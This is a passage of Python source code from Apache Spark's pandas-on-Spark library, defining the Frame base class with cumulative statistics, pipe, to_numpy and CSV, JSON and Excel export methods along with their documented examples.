[ "#\n# Licensed to the Apache Software Foundation (ASF) under one or more\n# contributor license agreements. See the NOTICE file distributed with\n# this work for additional information regarding copyright ownership.\n# The ASF licenses this file to You under the Apache License, Version 2.0\n# (the \"License\"); you may not use this file except in compliance with\n# the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n\"\"\"\nA base class of DataFrame/Column to behave similar to pandas DataFrame/Series.\n\"\"\"\nfrom abc import ABCMeta, abstractmethod\nfrom collections import Counter\nfrom distutils.version import LooseVersion\nfrom functools import reduce\nfrom typing import (\n Any,\n Callable,\n Iterable,\n IO,\n List,\n Optional,\n NoReturn,\n Tuple,\n TypeVar,\n Union,\n TYPE_CHECKING,\n cast,\n)\nimport warnings\n\nimport numpy as np # noqa: F401\nimport pandas as pd\nfrom pandas.api.types import is_list_like\n\nfrom pyspark.sql import Column, functions as F\nfrom pyspark.sql.types import (\n BooleanType,\n DataType,\n DoubleType,\n FloatType,\n IntegralType,\n LongType,\n NumericType,\n)\n\nfrom pyspark import pandas as ps # For running doctests and reference resolution in PyCharm.\nfrom pyspark.pandas.indexing import AtIndexer, iAtIndexer, iLocIndexer, LocIndexer\nfrom pyspark.pandas.internal import InternalFrame\nfrom pyspark.pandas.typedef import Dtype, Scalar, spark_type_to_pandas_dtype\nfrom pyspark.pandas.utils import (\n is_name_like_tuple,\n is_name_like_value,\n name_like_string,\n scol_for,\n sql_conf,\n validate_arguments_and_invoke_function,\n validate_axis,\n SPARK_CONF_ARROW_ENABLED,\n)\nfrom pyspark.pandas.window import Rolling, Expanding\n\nif TYPE_CHECKING:\n from pyspark.pandas.frame import DataFrame # noqa: F401 (SPARK-34943)\n from pyspark.pandas.indexes.base import Index # noqa: F401 (SPARK-34943)\n from pyspark.pandas.groupby import GroupBy # noqa: F401 (SPARK-34943)\n from pyspark.pandas.series import Series # noqa: F401 (SPARK-34943)\n\n\nT_Frame = TypeVar(\"T_Frame\", bound=\"Frame\")\nbool_type = bool\n\n\nclass Frame(object, metaclass=ABCMeta):\n \"\"\"\n The base class for both DataFrame and Series.\n \"\"\"\n\n @abstractmethod\n def __getitem__(self, key: Any) -> Any:\n pass\n\n @property\n @abstractmethod\n def _internal(self) -> InternalFrame:\n pass\n\n @abstractmethod\n def _apply_series_op(\n self: T_Frame, op: Callable[[\"Series\"], \"Series\"], should_resolve: bool = False\n ) -> T_Frame:\n pass\n\n @abstractmethod\n def _reduce_for_stat_function(\n self,\n sfun: Union[Callable[[Column], Column], Callable[[Column, DataType], Column]],\n name: str,\n axis: Optional[Union[int, str]] = None,\n numeric_only: bool = True,\n **kwargs: Any\n ) -> Union[\"Series\", Scalar]:\n pass\n\n @property\n @abstractmethod\n def dtypes(self) -> Union[pd.Series, Dtype]:\n pass\n\n @abstractmethod\n def to_pandas(self) -> Union[pd.DataFrame, pd.Series]:\n pass\n\n @property\n @abstractmethod\n def index(self) -> \"Index\":\n pass\n\n @abstractmethod\n def copy(self: T_Frame) -> T_Frame:\n pass\n\n @abstractmethod\n def _to_internal_pandas(self) -> Union[pd.DataFrame, pd.Series]:\n pass\n\n @abstractmethod\n def head(self: T_Frame, n: int = 5) -> T_Frame:\n pass\n\n # TODO: add 'axis' parameter\n def cummin(self: T_Frame, skipna: bool = True) -> T_Frame:\n \"\"\"\n Return cumulative minimum over a DataFrame or Series axis.\n\n Returns a DataFrame or Series of the same size containing the cumulative minimum.\n\n .. note:: the current implementation of cummin uses Spark's Window without\n specifying partition specification. This leads to move all data into\n single partition in single machine and could cause serious\n performance degradation. Avoid this method against very large dataset.\n\n Parameters\n ----------\n skipna : boolean, default True\n Exclude NA/null values. If an entire row/column is NA, the result will be NA.\n\n Returns\n -------\n DataFrame or Series\n\n See Also\n --------\n DataFrame.min : Return the minimum over DataFrame axis.\n DataFrame.cummax : Return cumulative maximum over DataFrame axis.\n DataFrame.cummin : Return cumulative minimum over DataFrame axis.\n DataFrame.cumsum : Return cumulative sum over DataFrame axis.\n Series.min : Return the minimum over Series axis.\n Series.cummax : Return cumulative maximum over Series axis.\n Series.cummin : Return cumulative minimum over Series axis.\n Series.cumsum : Return cumulative sum over Series axis.\n Series.cumprod : Return cumulative product over Series axis.\n\n Examples\n --------\n >>> df = ps.DataFrame([[2.0, 1.0], [3.0, None], [1.0, 0.0]], columns=list('AB'))\n >>> df\n A B\n 0 2.0 1.0\n 1 3.0 NaN\n 2 1.0 0.0\n\n By default, iterates over rows and finds the minimum in each column.\n\n >>> df.cummin()\n A B\n 0 2.0 1.0\n 1 2.0 NaN\n 2 1.0 0.0\n\n It works identically in Series.\n\n >>> df.A.cummin()\n 0 2.0\n 1 2.0\n 2 1.0\n Name: A, dtype: float64\n \"\"\"\n return self._apply_series_op(lambda psser: psser._cum(F.min, skipna), should_resolve=True)\n\n # TODO: add 'axis' parameter\n def cummax(self: T_Frame, skipna: bool = True) -> T_Frame:\n \"\"\"\n Return cumulative maximum over a DataFrame or Series axis.\n\n Returns a DataFrame or Series of the same size containing the cumulative maximum.\n\n .. note:: the current implementation of cummax uses Spark's Window without\n specifying partition specification. This leads to move all data into\n single partition in single machine and could cause serious\n performance degradation. Avoid this method against very large dataset.\n\n Parameters\n ----------\n skipna : boolean, default True\n Exclude NA/null values. If an entire row/column is NA, the result will be NA.\n\n Returns\n -------\n DataFrame or Series\n\n See Also\n --------\n DataFrame.max : Return the maximum over DataFrame axis.\n DataFrame.cummax : Return cumulative maximum over DataFrame axis.\n DataFrame.cummin : Return cumulative minimum over DataFrame axis.\n DataFrame.cumsum : Return cumulative sum over DataFrame axis.\n DataFrame.cumprod : Return cumulative product over DataFrame axis.\n Series.max : Return the maximum over Series axis.\n Series.cummax : Return cumulative maximum over Series axis.\n Series.cummin : Return cumulative minimum over Series axis.\n Series.cumsum : Return cumulative sum over Series axis.\n Series.cumprod : Return cumulative product over Series axis.\n\n Examples\n --------\n >>> df = ps.DataFrame([[2.0, 1.0], [3.0, None], [1.0, 0.0]], columns=list('AB'))\n >>> df\n A B\n 0 2.0 1.0\n 1 3.0 NaN\n 2 1.0 0.0\n\n By default, iterates over rows and finds the maximum in each column.\n\n >>> df.cummax()\n A B\n 0 2.0 1.0\n 1 3.0 NaN\n 2 3.0 1.0\n\n It works identically in Series.\n\n >>> df.B.cummax()\n 0 1.0\n 1 NaN\n 2 1.0\n Name: B, dtype: float64\n \"\"\"\n return self._apply_series_op(lambda psser: psser._cum(F.max, skipna), should_resolve=True)\n\n # TODO: add 'axis' parameter\n def cumsum(self: T_Frame, skipna: bool = True) -> T_Frame:\n \"\"\"\n Return cumulative sum over a DataFrame or Series axis.\n\n Returns a DataFrame or Series of the same size containing the cumulative sum.\n\n .. note:: the current implementation of cumsum uses Spark's Window without\n specifying partition specification. This leads to move all data into\n single partition in single machine and could cause serious\n performance degradation. Avoid this method against very large dataset.\n\n Parameters\n ----------\n skipna : boolean, default True\n Exclude NA/null values. If an entire row/column is NA, the result will be NA.\n\n Returns\n -------\n DataFrame or Series\n\n See Also\n --------\n DataFrame.sum : Return the sum over DataFrame axis.\n DataFrame.cummax : Return cumulative maximum over DataFrame axis.\n DataFrame.cummin : Return cumulative minimum over DataFrame axis.\n DataFrame.cumsum : Return cumulative sum over DataFrame axis.\n DataFrame.cumprod : Return cumulative product over DataFrame axis.\n Series.sum : Return the sum over Series axis.\n Series.cummax : Return cumulative maximum over Series axis.\n Series.cummin : Return cumulative minimum over Series axis.\n Series.cumsum : Return cumulative sum over Series axis.\n Series.cumprod : Return cumulative product over Series axis.\n\n Examples\n --------\n >>> df = ps.DataFrame([[2.0, 1.0], [3.0, None], [1.0, 0.0]], columns=list('AB'))\n >>> df\n A B\n 0 2.0 1.0\n 1 3.0 NaN\n 2 1.0 0.0\n\n By default, iterates over rows and finds the sum in each column.\n\n >>> df.cumsum()\n A B\n 0 2.0 1.0\n 1 5.0 NaN\n 2 6.0 1.0\n\n It works identically in Series.\n\n >>> df.A.cumsum()\n 0 2.0\n 1 5.0\n 2 6.0\n Name: A, dtype: float64\n \"\"\"\n return self._apply_series_op(lambda psser: psser._cumsum(skipna), should_resolve=True)\n\n # TODO: add 'axis' parameter\n # TODO: use pandas_udf to support negative values and other options later\n # other window except unbounded ones is supported as of Spark 3.0.\n def cumprod(self: T_Frame, skipna: bool = True) -> T_Frame:\n \"\"\"\n Return cumulative product over a DataFrame or Series axis.\n\n Returns a DataFrame or Series of the same size containing the cumulative product.\n\n .. note:: the current implementation of cumprod uses Spark's Window without\n specifying partition specification. This leads to move all data into\n single partition in single machine and could cause serious\n performance degradation. Avoid this method against very large dataset.\n\n .. note:: unlike pandas', pandas-on-Spark's emulates cumulative product by\n ``exp(sum(log(...)))`` trick. Therefore, it only works for positive numbers.\n\n Parameters\n ----------\n skipna : boolean, default True\n Exclude NA/null values. If an entire row/column is NA, the result will be NA.\n\n Returns\n -------\n DataFrame or Series\n\n See Also\n --------\n DataFrame.cummax : Return cumulative maximum over DataFrame axis.\n DataFrame.cummin : Return cumulative minimum over DataFrame axis.\n DataFrame.cumsum : Return cumulative sum over DataFrame axis.\n DataFrame.cumprod : Return cumulative product over DataFrame axis.\n Series.cummax : Return cumulative maximum over Series axis.\n Series.cummin : Return cumulative minimum over Series axis.\n Series.cumsum : Return cumulative sum over Series axis.\n Series.cumprod : Return cumulative product over Series axis.\n\n Raises\n ------\n Exception : If the values is equal to or lower than 0.\n\n Examples\n --------\n >>> df = ps.DataFrame([[2.0, 1.0], [3.0, None], [4.0, 10.0]], columns=list('AB'))\n >>> df\n A B\n 0 2.0 1.0\n 1 3.0 NaN\n 2 4.0 10.0\n\n By default, iterates over rows and finds the sum in each column.\n\n >>> df.cumprod()\n A B\n 0 2.0 1.0\n 1 6.0 NaN\n 2 24.0 10.0\n\n It works identically in Series.\n\n >>> df.A.cumprod()\n 0 2.0\n 1 6.0\n 2 24.0\n Name: A, dtype: float64\n \"\"\"\n return self._apply_series_op(lambda psser: psser._cumprod(skipna), should_resolve=True)\n\n # TODO: Although this has removed pandas >= 1.0.0, but we're keeping this as deprecated\n # since we're using this for `DataFrame.info` internally.\n # We can drop it once our minimal pandas version becomes 1.0.0.\n def get_dtype_counts(self) -> pd.Series:\n \"\"\"\n Return counts of unique dtypes in this object.\n\n .. deprecated:: 0.14.0\n\n Returns\n -------\n dtype : pd.Series\n Series with the count of columns with each dtype.\n\n See Also\n --------\n dtypes : Return the dtypes in this object.\n\n Examples\n --------\n >>> a = [['a', 1, 1], ['b', 2, 2], ['c', 3, 3]]\n >>> df = ps.DataFrame(a, columns=['str', 'int1', 'int2'])\n >>> df\n str int1 int2\n 0 a 1 1\n 1 b 2 2\n 2 c 3 3\n\n >>> df.get_dtype_counts().sort_values()\n object 1\n int64 2\n dtype: int64\n\n >>> df.str.get_dtype_counts().sort_values()\n object 1\n dtype: int64\n \"\"\"\n warnings.warn(\n \"`get_dtype_counts` has been deprecated and will be \"\n \"removed in a future version. For DataFrames use \"\n \"`.dtypes.value_counts()\",\n FutureWarning,\n )\n if not isinstance(self.dtypes, Iterable):\n dtypes = [self.dtypes]\n else:\n dtypes = list(self.dtypes)\n return pd.Series(dict(Counter([d.name for d in dtypes])))\n\n def pipe(self, func: Callable[..., Any], *args: Any, **kwargs: Any) -> Any:\n r\"\"\"\n Apply func(self, \\*args, \\*\\*kwargs).\n\n Parameters\n ----------\n func : function\n function to apply to the DataFrame.\n ``args``, and ``kwargs`` are passed into ``func``.\n Alternatively a ``(callable, data_keyword)`` tuple where\n ``data_keyword`` is a string indicating the keyword of\n ``callable`` that expects the DataFrames.\n args : iterable, optional\n positional arguments passed into ``func``.\n kwargs : mapping, optional\n a dictionary of keyword arguments passed into ``func``.\n\n Returns\n -------\n object : the return type of ``func``.\n\n Notes\n -----\n Use ``.pipe`` when chaining together functions that expect\n Series, DataFrames or GroupBy objects. For example, given\n\n >>> df = ps.DataFrame({'category': ['A', 'A', 'B'],\n ... 'col1': [1, 2, 3],\n ... 'col2': [4, 5, 6]},\n ... columns=['category', 'col1', 'col2'])\n >>> def keep_category_a(df):\n ... return df[df['category'] == 'A']\n >>> def add_one(df, column):\n ... return df.assign(col3=df[column] + 1)\n >>> def multiply(df, column1, column2):\n ... return df.assign(col4=df[column1] * df[column2])\n\n\n instead of writing\n\n >>> multiply(add_one(keep_category_a(df), column=\"col1\"), column1=\"col2\", column2=\"col3\")\n category col1 col2 col3 col4\n 0 A 1 4 2 8\n 1 A 2 5 3 15\n\n\n You can write\n\n >>> (df.pipe(keep_category_a)\n ... .pipe(add_one, column=\"col1\")\n ... .pipe(multiply, column1=\"col2\", column2=\"col3\")\n ... )\n category col1 col2 col3 col4\n 0 A 1 4 2 8\n 1 A 2 5 3 15\n\n\n If you have a function that takes the data as (say) the second\n argument, pass a tuple indicating which keyword expects the\n data. For example, suppose ``f`` takes its data as ``df``:\n\n >>> def multiply_2(column1, df, column2):\n ... return df.assign(col4=df[column1] * df[column2])\n\n\n Then you can write\n\n >>> (df.pipe(keep_category_a)\n ... .pipe(add_one, column=\"col1\")\n ... .pipe((multiply_2, 'df'), column1=\"col2\", column2=\"col3\")\n ... )\n category col1 col2 col3 col4\n 0 A 1 4 2 8\n 1 A 2 5 3 15\n\n You can use lambda as wel\n\n >>> ps.Series([1, 2, 3]).pipe(lambda x: (x + 1).rename(\"value\"))\n 0 2\n 1 3\n 2 4\n Name: value, dtype: int64\n \"\"\"\n\n if isinstance(func, tuple):\n func, target = func\n if target in kwargs:\n raise ValueError(\"%s is both the pipe target and a keyword \" \"argument\" % target)\n kwargs[target] = self\n return func(*args, **kwargs)\n else:\n return func(self, *args, **kwargs)\n\n def to_numpy(self) -> np.ndarray:\n \"\"\"\n A NumPy ndarray representing the values in this DataFrame or Series.\n\n .. note:: This method should only be used if the resulting NumPy ndarray is expected\n to be small, as all the data is loaded into the driver's memory.\n\n Returns\n -------\n numpy.ndarray\n\n Examples\n --------\n >>> ps.DataFrame({\"A\": [1, 2], \"B\": [3, 4]}).to_numpy()\n array([[1, 3],\n [2, 4]])\n\n With heterogeneous data, the lowest common type will have to be used.\n\n >>> ps.DataFrame({\"A\": [1, 2], \"B\": [3.0, 4.5]}).to_numpy()\n array([[1. , 3. ],\n [2. , 4.5]])\n\n For a mix of numeric and non-numeric types, the output array will have object dtype.\n\n >>> df = ps.DataFrame({\"A\": [1, 2], \"B\": [3.0, 4.5], \"C\": pd.date_range('2000', periods=2)})\n >>> df.to_numpy()\n array([[1, 3.0, Timestamp('2000-01-01 00:00:00')],\n [2, 4.5, Timestamp('2000-01-02 00:00:00')]], dtype=object)\n\n For Series,\n\n >>> ps.Series(['a', 'b', 'a']).to_numpy()\n array(['a', 'b', 'a'], dtype=object)\n \"\"\"\n return self.to_pandas().values\n\n @property\n def values(self) -> np.ndarray:\n \"\"\"\n Return a Numpy representation of the DataFrame or the Series.\n\n .. warning:: We recommend using `DataFrame.to_numpy()` or `Series.to_numpy()` instead.\n\n .. note:: This method should only be used if the resulting NumPy ndarray is expected\n to be small, as all the data is loaded into the driver's memory.\n\n Returns\n -------\n numpy.ndarray\n\n Examples\n --------\n A DataFrame where all columns are the same type (e.g., int64) results in an array of\n the same type.\n\n >>> df = ps.DataFrame({'age': [ 3, 29],\n ... 'height': [94, 170],\n ... 'weight': [31, 115]})\n >>> df\n age height weight\n 0 3 94 31\n 1 29 170 115\n >>> df.dtypes\n age int64\n height int64\n weight int64\n dtype: object\n >>> df.values\n array([[ 3, 94, 31],\n [ 29, 170, 115]])\n\n A DataFrame with mixed type columns(e.g., str/object, int64, float32) results in an ndarray\n of the broadest type that accommodates these mixed types (e.g., object).\n\n >>> df2 = ps.DataFrame([('parrot', 24.0, 'second'),\n ... ('lion', 80.5, 'first'),\n ... ('monkey', np.nan, None)],\n ... columns=('name', 'max_speed', 'rank'))\n >>> df2.dtypes\n name object\n max_speed float64\n rank object\n dtype: object\n >>> df2.values\n array([['parrot', 24.0, 'second'],\n ['lion', 80.5, 'first'],\n ['monkey', nan, None]], dtype=object)\n\n For Series,\n\n >>> ps.Series([1, 2, 3]).values\n array([1, 2, 3])\n\n >>> ps.Series(list('aabc')).values\n array(['a', 'a', 'b', 'c'], dtype=object)\n \"\"\"\n warnings.warn(\"We recommend using `{}.to_numpy()` instead.\".format(type(self).__name__))\n return self.to_numpy()\n\n def to_csv(\n self,\n path: Optional[str] = None,\n sep: str = \",\",\n na_rep: str = \"\",\n columns: Optional[List[Union[Any, Tuple]]] = None,\n header: bool = True,\n quotechar: str = '\"',\n date_format: Optional[str] = None,\n escapechar: Optional[str] = None,\n num_files: Optional[int] = None,\n mode: str = \"overwrite\",\n partition_cols: Optional[Union[str, List[str]]] = None,\n index_col: Optional[Union[str, List[str]]] = None,\n **options: Any\n ) -> Optional[str]:\n r\"\"\"\n Write object to a comma-separated values (csv) file.\n\n .. note:: pandas-on-Spark `to_csv` writes files to a path or URI. Unlike pandas',\n pandas-on-Spark respects HDFS's property such as 'fs.default.name'.\n\n .. note:: pandas-on-Spark writes CSV files into the directory, `path`, and writes\n multiple `part-...` files in the directory when `path` is specified.\n This behaviour was inherited from Apache Spark. The number of files can\n be controlled by `num_files`.\n\n Parameters\n ----------\n path : str, default None\n File path. If None is provided the result is returned as a string.\n sep : str, default ','\n String of length 1. Field delimiter for the output file.\n na_rep : str, default ''\n Missing data representation.\n columns : sequence, optional\n Columns to write.\n header : bool or list of str, default True\n Write out the column names. If a list of strings is given it is\n assumed to be aliases for the column names.\n quotechar : str, default '\\\"'\n String of length 1. Character used to quote fields.\n date_format : str, default None\n Format string for datetime objects.\n escapechar : str, default None\n String of length 1. Character used to escape `sep` and `quotechar`\n when appropriate.\n num_files : the number of files to be written in `path` directory when\n this is a path.\n mode : str {'append', 'overwrite', 'ignore', 'error', 'errorifexists'},\n default 'overwrite'. Specifies the behavior of the save operation when the\n destination exists already.\n\n - 'append': Append the new data to existing data.\n - 'overwrite': Overwrite existing data.\n - 'ignore': Silently ignore this operation if data already exists.\n - 'error' or 'errorifexists': Throw an exception if data already exists.\n\n partition_cols : str or list of str, optional, default None\n Names of partitioning columns\n index_col: str or list of str, optional, default: None\n Column names to be used in Spark to represent pandas-on-Spark's index. The index name\n in pandas-on-Spark is ignored. By default, the index is always lost.\n options: keyword arguments for additional options specific to PySpark.\n This kwargs are specific to PySpark's CSV options to pass. Check\n the options in PySpark's API documentation for spark.write.csv(...).\n It has higher priority and overwrites all other options.\n This parameter only works when `path` is specified.\n\n Returns\n -------\n str or None\n\n See Also\n --------\n read_csv\n DataFrame.to_delta\n DataFrame.to_table\n DataFrame.to_parquet\n DataFrame.to_spark_io\n\n Examples\n --------\n >>> df = ps.DataFrame(dict(\n ... date=list(pd.date_range('2012-1-1 12:00:00', periods=3, freq='M')),\n ... country=['KR', 'US', 'JP'],\n ... code=[1, 2 ,3]), columns=['date', 'country', 'code'])\n >>> df.sort_values(by=\"date\") # doctest: +ELLIPSIS, +NORMALIZE_WHITESPACE\n date country code\n ... 2012-01-31 12:00:00 KR 1\n ... 2012-02-29 12:00:00 US 2\n ... 2012-03-31 12:00:00 JP 3\n\n >>> print(df.to_csv()) # doctest: +NORMALIZE_WHITESPACE\n date,country,code\n 2012-01-31 12:00:00,KR,1\n 2012-02-29 12:00:00,US,2\n 2012-03-31 12:00:00,JP,3\n\n >>> df.cummax().to_csv(path=r'%s/to_csv/foo.csv' % path, num_files=1)\n >>> ps.read_csv(\n ... path=r'%s/to_csv/foo.csv' % path\n ... ).sort_values(by=\"date\") # doctest: +ELLIPSIS, +NORMALIZE_WHITESPACE\n date country code\n ... 2012-01-31 12:00:00 KR 1\n ... 2012-02-29 12:00:00 US 2\n ... 2012-03-31 12:00:00 US 3\n\n In case of Series,\n\n >>> print(df.date.to_csv()) # doctest: +NORMALIZE_WHITESPACE\n date\n 2012-01-31 12:00:00\n 2012-02-29 12:00:00\n 2012-03-31 12:00:00\n\n >>> df.date.to_csv(path=r'%s/to_csv/foo.csv' % path, num_files=1)\n >>> ps.read_csv(\n ... path=r'%s/to_csv/foo.csv' % path\n ... ).sort_values(by=\"date\") # doctest: +ELLIPSIS, +NORMALIZE_WHITESPACE\n date\n ... 2012-01-31 12:00:00\n ... 2012-02-29 12:00:00\n ... 2012-03-31 12:00:00\n\n You can preserve the index in the roundtrip as below.\n\n >>> df.set_index(\"country\", append=True, inplace=True)\n >>> df.date.to_csv(\n ... path=r'%s/to_csv/bar.csv' % path,\n ... num_files=1,\n ... index_col=[\"index1\", \"index2\"])\n >>> ps.read_csv(\n ... path=r'%s/to_csv/bar.csv' % path, index_col=[\"index1\", \"index2\"]\n ... ).sort_values(by=\"date\") # doctest: +ELLIPSIS, +NORMALIZE_WHITESPACE\n date\n index1 index2\n ... ... 2012-01-31 12:00:00\n ... ... 2012-02-29 12:00:00\n ... ... 2012-03-31 12:00:00\n \"\"\"\n if \"options\" in options and isinstance(options.get(\"options\"), dict) and len(options) == 1:\n options = options.get(\"options\") # type: ignore\n\n if path is None:\n # If path is none, just collect and use pandas's to_csv.\n psdf_or_ser = self\n if (LooseVersion(\"0.24\") > LooseVersion(pd.__version__)) and isinstance(\n self, ps.Series\n ):\n # 0.23 seems not having 'columns' parameter in Series' to_csv.\n return psdf_or_ser.to_pandas().to_csv( # type: ignore\n None,\n sep=sep,\n na_rep=na_rep,\n header=header,\n date_format=date_format,\n index=False,\n )\n else:\n return psdf_or_ser.to_pandas().to_csv( # type: ignore\n None,\n sep=sep,\n na_rep=na_rep,\n columns=columns,\n header=header,\n quotechar=quotechar,\n date_format=date_format,\n escapechar=escapechar,\n index=False,\n )\n\n psdf = self\n if isinstance(self, ps.Series):\n psdf = self.to_frame()\n\n if columns is None:\n column_labels = psdf._internal.column_labels\n else:\n column_labels = []\n for label in columns:\n if not is_name_like_tuple(label):\n label = (label,)\n if label not in psdf._internal.column_labels:\n raise KeyError(name_like_string(label))\n column_labels.append(label)\n\n if isinstance(index_col, str):\n index_cols = [index_col]\n elif index_col is None:\n index_cols = []\n else:\n index_cols = index_col\n\n if header is True and psdf._internal.column_labels_level > 1:\n raise ValueError(\"to_csv only support one-level index column now\")\n elif isinstance(header, list):\n sdf = psdf.to_spark(index_col) # type: ignore\n sdf = sdf.select(\n [scol_for(sdf, name_like_string(label)) for label in index_cols]\n + [\n scol_for(sdf, str(i) if label is None else name_like_string(label)).alias(\n new_name\n )\n for i, (label, new_name) in enumerate(zip(column_labels, header))\n ]\n )\n header = True\n else:\n sdf = psdf.to_spark(index_col) # type: ignore\n sdf = sdf.select(\n [scol_for(sdf, name_like_string(label)) for label in index_cols]\n + [\n scol_for(sdf, str(i) if label is None else name_like_string(label))\n for i, label in enumerate(column_labels)\n ]\n )\n\n if num_files is not None:\n sdf = sdf.repartition(num_files)\n\n builder = sdf.write.mode(mode)\n if partition_cols is not None:\n builder.partitionBy(partition_cols)\n builder._set_opts(\n sep=sep,\n nullValue=na_rep,\n header=header,\n quote=quotechar,\n dateFormat=date_format,\n charToEscapeQuoteEscaping=escapechar,\n )\n builder.options(**options).format(\"csv\").save(path)\n return None\n\n def to_json(\n self,\n path: Optional[str] = None,\n compression: str = \"uncompressed\",\n num_files: Optional[int] = None,\n mode: str = \"overwrite\",\n orient: str = \"records\",\n lines: bool = True,\n partition_cols: Optional[Union[str, List[str]]] = None,\n index_col: Optional[Union[str, List[str]]] = None,\n **options: Any\n ) -> Optional[str]:\n \"\"\"\n Convert the object to a JSON string.\n\n .. note:: pandas-on-Spark `to_json` writes files to a path or URI. Unlike pandas',\n pandas-on-Spark respects HDFS's property such as 'fs.default.name'.\n\n .. note:: pandas-on-Spark writes JSON files into the directory, `path`, and writes\n multiple `part-...` files in the directory when `path` is specified.\n This behaviour was inherited from Apache Spark. The number of files can\n be controlled by `num_files`.\n\n .. note:: output JSON format is different from pandas'. It always use `orient='records'`\n for its output. This behaviour might have to change in the near future.\n\n Note NaN's and None will be converted to null and datetime objects\n will be converted to UNIX timestamps.\n\n Parameters\n ----------\n path : string, optional\n File path. If not specified, the result is returned as\n a string.\n lines : bool, default True\n If ‘orient’ is ‘records’ write out line delimited json format.\n Will throw ValueError if incorrect ‘orient’ since others are not\n list like. It should be always True for now.\n orient : str, default 'records'\n It should be always 'records' for now.\n compression : {'gzip', 'bz2', 'xz', None}\n A string representing the compression to use in the output file,\n only used when the first argument is a filename. By default, the\n compression is inferred from the filename.\n num_files : the number of files to be written in `path` directory when\n this is a path.\n mode : str {'append', 'overwrite', 'ignore', 'error', 'errorifexists'},\n default 'overwrite'. Specifies the behavior of the save operation when the\n destination exists already.\n\n - 'append': Append the new data to existing data.\n - 'overwrite': Overwrite existing data.\n - 'ignore': Silently ignore this operation if data already exists.\n - 'error' or 'errorifexists': Throw an exception if data already exists.\n\n partition_cols : str or list of str, optional, default None\n Names of partitioning columns\n index_col: str or list of str, optional, default: None\n Column names to be used in Spark to represent pandas-on-Spark's index. The index name\n in pandas-on-Spark is ignored. By default, the index is always lost.\n options: keyword arguments for additional options specific to PySpark.\n It is specific to PySpark's JSON options to pass. Check\n the options in PySpark's API documentation for `spark.write.json(...)`.\n It has a higher priority and overwrites all other options.\n This parameter only works when `path` is specified.\n\n Returns\n --------\n str or None\n\n Examples\n --------\n >>> df = ps.DataFrame([['a', 'b'], ['c', 'd']],\n ... columns=['col 1', 'col 2'])\n >>> df.to_json()\n '[{\"col 1\":\"a\",\"col 2\":\"b\"},{\"col 1\":\"c\",\"col 2\":\"d\"}]'\n\n >>> df['col 1'].to_json()\n '[{\"col 1\":\"a\"},{\"col 1\":\"c\"}]'\n\n >>> df.to_json(path=r'%s/to_json/foo.json' % path, num_files=1)\n >>> ps.read_json(\n ... path=r'%s/to_json/foo.json' % path\n ... ).sort_values(by=\"col 1\")\n col 1 col 2\n 0 a b\n 1 c d\n\n >>> df['col 1'].to_json(path=r'%s/to_json/foo.json' % path, num_files=1, index_col=\"index\")\n >>> ps.read_json(\n ... path=r'%s/to_json/foo.json' % path, index_col=\"index\"\n ... ).sort_values(by=\"col 1\") # doctest: +NORMALIZE_WHITESPACE\n col 1\n index\n 0 a\n 1 c\n \"\"\"\n if \"options\" in options and isinstance(options.get(\"options\"), dict) and len(options) == 1:\n options = options.get(\"options\") # type: ignore\n\n if not lines:\n raise NotImplementedError(\"lines=False is not implemented yet.\")\n\n if orient != \"records\":\n raise NotImplementedError(\"orient='records' is supported only for now.\")\n\n if path is None:\n # If path is none, just collect and use pandas's to_json.\n psdf_or_ser = self\n pdf = psdf_or_ser.to_pandas() # type: ignore\n if isinstance(self, ps.Series):\n pdf = pdf.to_frame()\n # To make the format consistent and readable by `read_json`, convert it to pandas' and\n # use 'records' orient for now.\n return pdf.to_json(orient=\"records\")\n\n psdf = self\n if isinstance(self, ps.Series):\n psdf = self.to_frame()\n sdf = psdf.to_spark(index_col=index_col) # type: ignore\n\n if num_files is not None:\n sdf = sdf.repartition(num_files)\n\n builder = sdf.write.mode(mode)\n if partition_cols is not None:\n builder.partitionBy(partition_cols)\n builder._set_opts(compression=compression)\n builder.options(**options).format(\"json\").save(path)\n return None\n\n def to_excel(\n self,\n excel_writer: Union[str, pd.ExcelWriter],\n sheet_name: str = \"Sheet1\",\n na_rep: str = \"\",\n float_format: Optional[str] = None,\n columns: Optional[Union[str, List[str]]] = None,\n header: bool = True,\n index: bool = True,\n index_label: Optional[Union[str, List[str]]] = None,\n startrow: int = 0,\n startcol: int = 0,\n engine: Optional[str] = None,\n merge_cells: bool = True,\n encoding: Optional[str] = None,\n inf_rep: str = \"inf\",\n verbose: bool = True,\n freeze_panes: Optional[Tuple[int, int]] = None,\n ) -> None:\n \"\"\"\n Write object to an Excel sheet.\n\n .. note:: This method should only be used if the resulting DataFrame is expected\n to be small, as all the data is loaded into the driver's memory.\n\n To write a single object to an Excel .xlsx file it is only necessary to\n specify a target file name. To write to multiple sheets it is necessary to\n create an `ExcelWriter` object with a target file name, and specify a sheet\n in the file to write to.\n\n Multiple sheets may be written to by specifying unique `sheet_name`.\n With all data written to the file it is necessary to save the changes.\n Note that creating an `ExcelWriter` object with a file name that already\n exists will result in the contents of the existing file being erased.\n\n Parameters\n ----------\n excel_writer : str or ExcelWriter object\n File path or existing ExcelWriter.\n sheet_name : str, default 'Sheet1'\n Name of sheet which will contain DataFrame.\n na_rep : str, default ''\n Missing data representation.\n float_format : str, optional\n Format string for floating point numbers. For example\n ``float_format=\"%%.2f\"`` will format 0.1234 to 0.12.\n columns : sequence or list of str, optional\n Columns to write.\n header : bool or list of str, default True\n Write out the column names. If a list of string is given it is\n assumed to be aliases for the column names.\n index : bool, default True\n Write row names (index).\n index_label : str or sequence, optional\n Column label for index column(s) if desired. If not specified, and\n `header` and `index` are True, then the index names are used. A\n sequence should be given if the DataFrame uses MultiIndex.\n startrow : int, default 0\n Upper left cell row to dump data frame.\n startcol : int, default 0\n Upper left cell column to dump data frame.\n engine : str, optional\n Write engine to use, 'openpyxl' or 'xlsxwriter'. You can also set this\n via the options ``io.excel.xlsx.writer``, ``io.excel.xls.writer``, and\n ``io.excel.xlsm.writer``.\n merge_cells : bool, default True\n Write MultiIndex and Hierarchical Rows as merged cells.\n encoding : str, optional\n Encoding of the resulting excel file. Only necessary for xlwt,\n other writers support unicode natively.\n inf_rep : str, default 'inf'\n Representation for infinity (there is no native representation for\n infinity in Excel).\n verbose : bool, default True\n Display more information in the error logs.\n freeze_panes : tuple of int (length 2), optional\n Specifies the one-based bottommost row and rightmost column that\n is to be frozen.\n\n 